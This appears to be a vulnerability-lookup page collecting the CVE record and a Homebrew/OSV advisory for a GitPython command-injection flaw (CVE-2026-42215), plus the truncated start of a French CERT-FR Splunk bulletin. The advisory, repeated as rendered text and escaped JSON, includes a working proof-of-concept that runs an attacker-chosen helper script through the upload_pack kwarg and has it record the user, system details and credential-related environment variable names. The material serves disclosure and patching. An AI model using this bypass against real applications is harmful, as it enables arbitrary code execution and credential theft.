Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2026-42215 (GCVE-0-2026-42215)
Vulnerability from cvelistv5 – Published: 2026-05-07 18:17 – Updated: 2026-05-09 03:56- CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
| URL | Tags |
|---|---|
| https://github.com/gitpython-developers/GitPython… | x_refsource_CONFIRM |
| https://github.com/gitpython-developers/GitPython… | x_refsource_MISC |
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| gitpython-developers | GitPython |
Affected:
>= 3.1.30, < 3.1.47
|
guessed |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-42215",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-08T00:00:00+00:00",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-09T03:56:00.861Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "GitPython",
"vendor": "gitpython-developers",
"versions": [
{
"status": "affected",
"version": "\u003e= 3.1.30, \u003c 3.1.47"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-78",
"description": "CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-07T18:17:03.194Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"name": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47"
}
],
"source": {
"advisory": "GHSA-rpm5-65cw-6hj4",
"discovery": "UNKNOWN"
},
"title": "GitPython: Command injection via Git options bypass"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-42215",
"datePublished": "2026-05-07T18:17:03.194Z",
"dateReserved": "2026-04-25T05:04:37.028Z",
"dateUpdated": "2026-05-09T03:56:00.861Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-42215",
"date": "2026-10-02",
"epss": "0.009",
"percentile": "0.58237"
},
"nvd": {
"cve": {
"affected": [
{
"affectedData": [
{
"product": "GitPython",
"vendor": "gitpython-developers",
"versions": [
{
"status": "affected",
"version": "\u003e= 3.1.30, \u003c 3.1.47"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gitpython_project:gitpython:*:*:*:*:*:python:*:*",
"matchCriteriaId": "701208D3-FB36-4DB9-9553-7325AA3B3B9F",
"versionEndExcluding": "3.1.47",
"versionStartIncluding": "3.1.30",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47."
}
],
"id": "CVE-2026-42215",
"lastModified": "2026-06-17T10:47:31.463",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-42215",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-08T00:00:00+00:00",
"version": "2.0.3"
}
}
]
},
"published": "2026-05-07T19:16:01.640",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Patch",
"Release Notes"
],
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47"
},
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-78"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
},
"redhat_vex": {
"aggregate_severity": "Important",
"current_release_date": "2026-09-30T16:25:38+00:00",
"cve": "CVE-2026-42215",
"id": "CVE-2026-42215",
"initial_release_date": "2026-05-07T18:17:03.194000+00:00",
"product_status:fixed": "118",
"product_status:known_affected": "10",
"product_status:known_not_affected": "1727",
"source": "Red Hat CSAF VEX",
"status": "final",
"title": "GitPython: GitPython: Arbitrary command execution due to bypass of dangerous Git option checks",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42215.json",
"version": "3"
},
"vulnrichment": {
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-42215",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-08T14:39:17.316943Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-08T14:39:34.148Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "GitPython",
"vendor": "gitpython-developers",
"versions": [
{
"status": "affected",
"version": "\u003e= 3.1.30, \u003c 3.1.47"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-78",
"description": "CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-07T18:17:03.194Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"name": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47"
}
],
"source": {
"advisory": "GHSA-rpm5-65cw-6hj4",
"discovery": "UNKNOWN"
},
"title": "GitPython: Command injection via Git options bypass"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-42215",
"datePublished": "2026-05-07T18:17:03.194Z",
"dateReserved": "2026-04-25T05:04:37.028Z",
"dateUpdated": "2026-05-09T03:56:00.861Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
BREW-TERN-CVE-2026-42215 (GHSA-RPM5-65CW-6HJ4)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:43 – Updated: 2026-09-10 01:28 – Source websiteSummary
GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.
Details
GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:
git/repo/base.py:145-153marks clone options such as--upload-pack,-u,--config, and-cas unsafe.git/remote.py:535-548marks fetch/pull/push options such as--upload-pack,--receive-pack, and--execas unsafe.
The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:
Repo.clone_from()checkslist(kwargs.keys())ingit/repo/base.py:1387-1390Remote.fetch()checkslist(kwargs.keys())ingit/remote.py:1070-1071Remote.pull()checkslist(kwargs.keys())ingit/remote.py:1124-1125Remote.push()checkslist(kwargs.keys())ingit/remote.py:1197-1198
That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.
Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:
upload_pack=...becomes--upload-pack=...receive_pack=...becomes--receive-pack=...
Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.
In practice:
remote.fetch(**{"upload-pack": helper})is blocked withUnsafeOptionErrorremote.fetch(upload_pack=helper)is allowed and reaches helper execution
The same bypass works for:
Repo.clone_from(origin, out, upload_pack=helper)
repo.remote("origin").fetch(upload_pack=helper)
repo.remote("origin").pull(upload_pack=helper)
repo.remote("origin").push(receive_pack=helper)
This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.
Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:
test/test_clone.py:129-136checks{"upload-pack": ...}test/test_remote.py:830-833checks{"upload-pack": ...}test/test_remote.py:968-975checks{"receive-pack": ...}
Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.
PoC
- Create and activate a virtual environment in the repository root:
python3 -m venv .venv-sec
.venv-sec/bin/pip install setuptools gitdb
source ./.venv-sec/bin/activate
- make a new python file and put the following in there, then run it:
import os
import stat
import subprocess
import tempfile
from git import Repo
from git.exc import UnsafeOptionError
# Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-")
origin = os.path.join(base, "origin.git")
producer = os.path.join(base, "producer")
victim = os.path.join(base, "victim")
proof = os.path.join(base, "proof.txt")
wrapper = os.path.join(base, "wrapper.sh")
# Setup: this wrapper is just to demo things you can do, not required for the exploit to work
# you could also do something like an SSH reverse shell, really anything
with open(wrapper, "w") as f:
f.write(f"""#!/bin/sh
{{
echo "code_exec=1"
echo "whoami=$(id)"
echo "cwd=$(pwd)"
echo "uname=$(uname -a)"
printf 'argv='; printf '<%s>' "$@"; echo
env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=<redacted>/' || true
}} > '{proof}'
exec git-upload-pack "$@"
""")
os.chmod(wrapper, stat.S_IRWXU)
subprocess.run(["git", "init", "--bare", origin], check=True, stdout=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
with open(os.path.join(producer, "README"), "w") as f:
f.write("x")
subprocess.run(["git", "-C", producer, "add", "README"], check=True, stdout=subprocess.DEVNULL)
subprocess.run(
["git", "-C", producer, "-c", "user.name=t", "-c", "user.email=t@t", "commit", "-m", "init"],
check=True,
stdout=subprocess.DEVNULL,
)
subprocess.run(["git", "-C", producer, "push", "origin", "HEAD"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
repo = Repo(victim)
remote = repo.remote("origin")
# the literal Git option name is properly blocked.
try:
remote.fetch(**{"upload-pack": wrapper})
print("control=unexpected_success")
except UnsafeOptionError:
print("control=blocked")
# this is the actual vulnerability
# you can also just do upload_pack="touch /tmp/proof", the wrapper is just to show greater impact
# if you do the "touch /tmp/proof" the script will crash, but the file will have been created
remote.fetch(upload_pack=wrapper)
# Proof: the helper ran as the GitPython host process.
print("proof_exists", os.path.exists(proof), proof)
print(open(proof).read())
-
Expected result:
-
The script prints
control=blocked - The script prints
proof_exists True ... - The proof file contains evidence that the attacker-controlled helper executed as the local application account, including
id, working directory, argv, and selected environment variable names
Example output:
GitPython % python3 test.py
control=blocked
proof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt
code_exec=1
whoami=uid=501(wes) gid=20(staff) <redacted>
cwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim
uname=Darwin <redacted> Darwin Kernel Version <redacted>; root:xnu-11417. <redacted>
argv=</var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git>
USER=<redacted>
SSH_AUTH_SOCK=<redacted>
PATH=<redacted>
HOME=<redacted>
This PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into --upload-pack.
Impact
Who is impacted:
- Web applications that let users configure repository import, sync, mirroring, fetch, pull, or push behavior
- Systems that accept a user-provided dict of "extra Git options" and pass it into GitPython with **kwargs
- CI/CD systems, workers, automation bots, or internal tools that build GitPython calls from untrusted integration settings or job definitions (yaml, json, etc configs )
What the attacker needs to control:
- A value that becomes
upload_packorreceive_packin the kwargs passed toRepo.clone_from(),Remote.fetch(),Remote.pull(), orRemote.push()
From a severity perspective, this could lead to - Theft of SSH keys, deploy credentials, API tokens, or cloud credentials available to the process - Modification of repositories, build outputs, or release artifacts - Lateral movement from CI/CD workers or automation hosts - Full compromise of the worker or service process handling repository operations
The highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection.
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.45",
"upstream_fixed_in": "3.1.47"
},
"package": {
"ecosystem": "Homebrew",
"name": "tern",
"purl": "pkg:brew/tern"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.45",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.45"
}
]
},
"details": "### Summary\nGitPython blocks dangerous Git options such as `--upload-pack` and `--receive-pack` by default, but the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary command execution even when `allow_unsafe_options` is left at its default value of `False`.\n\n### Details\nGitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:\n\n- `git/repo/base.py:145-153` marks clone options such as `--upload-pack`, `-u`, `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe vulnerable API paths check the raw kwarg names before they\u0027re its normalized into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())` in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())` in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())` in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())` in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()` in `git/cmd.py:948-961`. The validator correctly blocks option names such as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts Python kwargs into Git command-line flags in `Git.transform_kwarg()` at `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified:\n\n- `upload_pack=...` becomes `--upload-pack=...`\n- `receive_pack=...` becomes `--receive-pack=...`\n\nBecause the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.\n\nIn practice:\n\n- `remote.fetch(**{\"upload-pack\": helper})` is blocked with `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)` is allowed and reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin, out, upload_pack=helper)\nrepo.remote(\"origin\").fetch(upload_pack=helper)\nrepo.remote(\"origin\").pull(upload_pack=helper)\nrepo.remote(\"origin\").push(receive_pack=helper)\n```\n\nThis does not appear to affect every unsafe option. For example, `exec=` is already rejected because the raw kwarg name `exec` matches the blocked option name before normalization.\n\nExisting tests cover the hyphenated form, not the vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136` checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:830-833` checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:968-975` checks `{\"receive-pack\": ...}`\n\nThose tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.\n\n### PoC\n1. Create and activate a virtual environment in the repository root:\n\n```bash\npython3 -m venv .venv-sec\n.venv-sec/bin/pip install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2. make a new python file and put the following in there, then run it:\n\n```python\nimport os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\n# Setup: create isolated repositories so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\"gp-poc-risk-\")\norigin = os.path.join(base, \"origin.git\")\nproducer = os.path.join(base, \"producer\")\nvictim = os.path.join(base, \"victim\")\nproof = os.path.join(base, \"proof.txt\")\nwrapper = os.path.join(base, \"wrapper.sh\")\n\n# Setup: this wrapper is just to demo things you can do, not required for the exploit to work\n# you could also do something like an SSH reverse shell, really anything\nwith open(wrapper, \"w\") as f:\n f.write(f\"\"\"#!/bin/sh\n{{\n echo \"code_exec=1\"\n echo \"whoami=$(id)\"\n echo \"cwd=$(pwd)\"\n echo \"uname=$(uname -a)\"\n printf \u0027argv=\u0027; printf \u0027\u003c%s\u003e\u0027 \"$@\"; echo\n env | grep -E \u0027^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=\u0027 | sed \u0027s/=.*$/=\u003credacted\u003e/\u0027 || true\n}} \u003e \u0027{proof}\u0027\nexec git-upload-pack \"$@\"\n\"\"\")\nos.chmod(wrapper, stat.S_IRWXU)\n\nsubprocess.run([\"git\", \"init\", \"--bare\", origin], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nwith open(os.path.join(producer, \"README\"), \"w\") as f:\n f.write(\"x\")\n\nsubprocess.run([\"git\", \"-C\", producer, \"add\", \"README\"], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run(\n [\"git\", \"-C\", producer, \"-c\", \"user.name=t\", \"-c\", \"user.email=t@t\", \"commit\", \"-m\", \"init\"],\n check=True,\n stdout=subprocess.DEVNULL,\n)\nsubprocess.run([\"git\", \"-C\", producer, \"push\", \"origin\", \"HEAD\"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nrepo = Repo(victim)\nremote = repo.remote(\"origin\")\n\n# the literal Git option name is properly blocked.\ntry:\n remote.fetch(**{\"upload-pack\": wrapper})\n print(\"control=unexpected_success\")\nexcept UnsafeOptionError:\n print(\"control=blocked\")\n\n# this is the actual vulnerability\n# you can also just do upload_pack=\"touch /tmp/proof\", the wrapper is just to show greater impact\n# if you do the \"touch /tmp/proof\" the script will crash, but the file will have been created\nremote.fetch(upload_pack=wrapper)\n\n# Proof: the helper ran as the GitPython host process.\nprint(\"proof_exists\", os.path.exists(proof), proof)\nprint(open(proof).read())\n```\n\n3. Expected result:\n\n- The script prints `control=blocked`\n- The script prints `proof_exists True ...`\n- The proof file contains evidence that the attacker-controlled helper executed as the local application account, including `id`, working directory, argv, and selected environment variable names\n\nExample output:\n\n```bash\nGitPython % python3 test.py\ncontrol=blocked\nproof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt\ncode_exec=1\nwhoami=uid=501(wes) gid=20(staff) \u003credacted\u003e\ncwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim\nuname=Darwin \u003credacted\u003e Darwin Kernel Version \u003credacted\u003e; root:xnu-11417. \u003credacted\u003e\nargv=\u003c/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git\u003e\nUSER=\u003credacted\u003e\nSSH_AUTH_SOCK=\u003credacted\u003e\nPATH=\u003credacted\u003e\nHOME=\u003credacted\u003e\n```\n\nThis PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into `--upload-pack`.\n\n### Impact\nWho is impacted:\n- Web applications that let users configure repository import, sync, mirroring, fetch, pull, or push behavior\n- Systems that accept a user-provided dict of \"extra Git options\" and pass it into GitPython with `**kwargs`\n- CI/CD systems, workers, automation bots, or internal tools that build GitPython calls from untrusted integration settings or job definitions (yaml, json, etc configs )\n\nWhat the attacker needs to control:\n\n- A value that becomes `upload_pack` or `receive_pack` in the kwargs passed to `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`\n\nFrom a severity perspective, this could lead to\n- Theft of SSH keys, deploy credentials, API tokens, or cloud credentials available to the process\n- Modification of repositories, build outputs, or release artifacts\n- Lateral movement from CI/CD workers or automation hosts\n- Full compromise of the worker or service process handling repository operations\n\nThe highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection.",
"id": "BREW-tern-CVE-2026-42215",
"modified": "2026-09-10T01:28:13Z",
"published": "2026-08-13T17:43:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42215"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython has Command Injection via Git options bypass",
"upstream": [
"GHSA-rpm5-65cw-6hj4",
"CVE-2026-42215",
"PYSEC-2026-2160"
]
}
CERTFR-2026-AVI-1056
Vulnerability from certfr_avis - Published: 2026-08-20 - Updated: 2026-08-20
De multiples vulnérabilités ont été découvertes dans les produits Splunk. Certaines d'entre elles permettent à un attaquant de provoquer une exécution de code arbitraire à distance, une élévation de privilèges et une atteinte à la confidentialité des données.
Solutions
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
| Vendor | Product | Description | ||
|---|---|---|---|---|
| Splunk | N/A | MS Graph pour Active Directory app pour Splunk SOAR versions antérieures à 1.5.2 | ||
| Splunk | N/A | Venafi app pour Splunk SOAR versions antérieures à 2.1.4 | ||
| Splunk | Universal Forwarder | Splunk Universal Forwarder versions 10.0.x antérieures à 10.0.9 | ||
| Splunk | N/A | AWS IAM app pour Splunk SOAR versions antérieures à 2.1.9 | ||
| Splunk | N/A | Azure AD Graph app pour Splunk SOAR versions antérieures à 2.5.3 | ||
| Splunk | SOAR | Splunk SOAR versions antérieures à 8.6.0 | ||
| Splunk | Splunk | Splunk Connect pour Kafka versions antérieures à 2.2.7 | ||
| Splunk | Splunk Enterprise | Splunk Enterprise versions 9.4.x antérieures à 9.4.14 | ||
| Splunk | N/A | FireAMP versions 2.1.x antérieures à 2.1.15 | ||
| Splunk | N/A | Zoom app pour Splunk SOAR versions antérieures à 3.2.2 | ||
| Splunk | N/A | Phantom app pour Splunk SOAR versions antérieures à 3.8.5 | ||
| Splunk | Splunk | Splunk On-Call (VictorOps) versions antérieures à 1.0.43 | ||
| Splunk | Splunk | Splunk Attack Analyzer Connector pour Splunk SOAR versions 2.2.x antérieures à 2.2.1 | ||
| Splunk | Splunk | Splunk MCP Server app versions antérieures à 1.2.1 | ||
| Splunk | Splunk Enterprise | Splunk Enterprise versions 10.4.x antérieures à 10.4.2 | ||
| Splunk | N/A | AD LDAP app pour Splunk SOAR versions antérieures à 2.3.8 | ||
| Splunk | Splunk Enterprise | Splunk Enterprise versions 10.2.x antérieures à 10.2.6 | ||
| Splunk | Universal Forwarder | Splunk Universal Forwarder versions 9.4.x antérieures à 9.4.14 | ||
| Splunk | Splunk AI Toolkit | Splunk AI Toolkit versions antérieures à 6.0.1 | ||
| Splunk | Universal Forwarder | Splunk Universal Forwarder versions 10.2.x antérieures à 10.2.6 | ||
| Splunk | N/A | Cisco Talos Intelligence pour Enterprise Security Cloud versions antérieures à 1.0.3 | ||
| Splunk | Splunk Enterprise | Splunk Enterprise versions 10.0.x antérieures à 10.0.9 | ||
| Splunk | N/A | CrowdStrike OAuth API app pour Splunk SOAR versions antérieures à 5.1.3 | ||
| Splunk | Enterprise Security | Splunk Enterprise Security versions antérieures à 8.6.1 | ||
| Splunk | N/A | Nmap Scanner versions 3.0.x antérieures à 3.0.15 | ||
| Splunk | N/A | RSA SecurID Authentication Manager app pour Splunk SOAR versions antérieures à 1.0.5 | ||
| Splunk | N/A | Cisco Secure Malware Analytics app pour Splunk SOAR versions antérieures à 2.4.5 | ||
| Splunk | N/A | Cisco Webex app pour Splunk SOAR versions antérieures à 2.2.1 | ||
| Splunk | Universal Forwarder | Splunk Universal Forwarder versions 10.4.x antérieures à 10.4.2 |
| Title | Publication Time | Tags | ||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "MS Graph pour Active Directory app pour Splunk SOAR versions ant\u00e9rieures \u00e0 1.5.2",
"product": {
"name": "N/A",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
